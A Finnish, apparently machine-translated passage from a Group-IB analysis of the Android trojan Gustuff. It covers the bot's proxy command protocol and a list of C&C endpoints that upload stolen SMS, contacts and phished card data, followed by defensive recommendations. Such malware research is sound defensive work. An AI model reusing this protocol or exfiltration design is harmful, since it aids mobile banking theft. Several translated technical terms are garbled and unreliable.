  • simOperator — Palveluntarjoajan nimi (SPN). Jos arvon saamisen aikana tapahtui virhe, tämän kentän sijaan kirjoitetaan virhetekstiviesti.
  • versio - tämä kenttä on tallennettu konfigurointiluokkaan; botin testatuille versioille se oli yhtä suuri kuin "1.6".

5. Vaihtaa tilaan, jossa odotetaan komentoja palvelimelta. Palvelimen komennot tulevat muodossa:

  • 0 offset – komento
  • 1 offset – istuntotunnus
  • 2 offset – pituus
  • 4 offset - tiedot

Kun komento saapuu, sovellus kirjaa:
mainLog("Otsikko { sessionId<%id%>], tyyppi[<%command%>], pituus[<%length%>] }")

Seuraavat komennot palvelimelta ovat mahdollisia:

Nimi Komento Päiväys Kuvaus
yhteystunnus 0 Yhteystunnus Luo uusi yhteys
SLEEP 3 Aika: Keskeytä välityspalvelinmoduuli
PÖYTÄTENNIS 4 - Lähetä PONG-viesti

PONG-viesti koostuu 4 tavusta ja näyttää tältä: 0x04000000.

Kun connectId-komento vastaanotetaan (uuden yhteyden luomiseksi) CommandConnection luo luokan esiintymän Välityspalvelinyhteys.

  • Välityspalvelimeen osallistuu kaksi luokkaa: Välityspalvelinyhteys и loppu. Luokan luomisen yhteydessä Välityspalvelinyhteys yhteyden muodostaminen osoitteeseen ProxyConfigClass.host: ProxyConfigClass.proxyPort ja JSON-objektin välittäminen:

 {
    "id":<%connectionId%>
}

Vastauksena palvelin lähettää SOCKS5-sanoman, joka sisältää sen etäpalvelimen osoitteen, johon yhteys on muodostettava. Vuorovaikutus tämän palvelimen kanssa tapahtuu luokan kautta loppu. Yhteysasetukset voidaan esittää kaavamaisesti seuraavasti:

Kuinka Android-troijalainen Gustuff kerää kerman (fiatin ja krypton) tileiltäsi

Verkoston vuorovaikutus

CnC-palvelimen ja sovelluksen välinen vuorovaikutus voidaan suojata SSL-protokollalla, jotta verkon haistajia ei analysoida liikennettä. Kaikki sekä palvelimelta että palvelimelle lähetetyt tiedot esitetään JSON-muodossa. Toiminnan aikana sovellus suorittaa seuraavat pyynnöt:

  • http://<%CnC%>/api/v1/set_state.php — komennon suorittamisen tulos.
  • http://<%CnC%>/api/v1/get.php - käskyn vastaanottaminen.
  • http://<%CnC%>/api/v1/load_sms.php — SMS-viestien lataaminen tartunnan saaneesta laitteesta.
  • http://<%CnC%>/api/v1/load_ab.php — yhteystietoluettelon lataaminen tartunnan saaneelta laitteelta.
  • http://<%CnC%>/api/v1/aevents.php – pyyntö tehdään asetustiedostossa olevia parametreja päivitettäessä.
  • http://<%CnC%>/api/v1/set_card.php — Google Play Marketiksi naamioituneen tietojenkalasteluikkunan avulla saatujen tietojen lataaminen.
  • http://<%CnC%>/api/v1/logs.php – lokitietojen lataaminen.
  • http://<%CnC%>/api/v1/records.php – phishing-ikkunoiden kautta saatujen tietojen lataaminen.
  • http://<%CnC%>/api/v1/set_error.php – ilmoitus tapahtuneesta virheestä.

Suositukset

Suojatakseen asiakkaitaan mobiilitroijalaisten uhalta yritysten on käytettävä kattavia ratkaisuja, joiden avulla ne voivat valvoa ja estää haitallista toimintaa asentamatta lisäohjelmistoja käyttäjän laitteisiin.

Tätä varten mobiilitroijalaisten havaitsemiseen tarkoitettuja allekirjoitusmenetelmiä on vahvistettava teknologioilla, jotka analysoivat sekä asiakkaan että itse sovelluksen käyttäytymistä. Suojaukseen tulisi kuulua myös digitaalista sormenjälkitekniikkaa käyttävä laitetunnistustoiminto, jonka avulla on mahdollista ymmärtää, milloin tiliä käytetään epätyypillisestä laitteesta ja se on jo joutunut huijarin käsiin.

Pohjimmiltaan tärkeä asia on kanavien välisen analyysin saatavuus, jonka avulla yritykset voivat hallita riskejä, jotka syntyvät paitsi Internetissä myös mobiilikanavalla, esimerkiksi mobiilipankkisovelluksissa, kryptovaluuttojen kanssa tapahtuvissa asioissa ja muissa liiketoimia voidaan suorittaa.

Käyttäjien turvallisuussäännöt:

  • älä asenna sovelluksia Android-käyttöjärjestelmää käyttävään mobiililaitteeseen muista lähteistä kuin Google Playsta, kiinnitä erityistä huomiota sovelluksen pyytämiin oikeuksiin;
  • asenna säännöllisesti Android-käyttöjärjestelmän päivityksiä;
  • kiinnitä huomiota ladattujen tiedostojen laajennuksiin;
  • älä vieraile epäilyttävissä resursseissa;
  • Älä napsauta tekstiviesteissä saatuja linkkejä.

Pääosassa Semjon Rogacheva, nuorempi asiantuntija haittaohjelmien tutkimuksessa Group-IB Computer Forensics Laboratoryssa.

Lähde: will.com

Lisää kommentti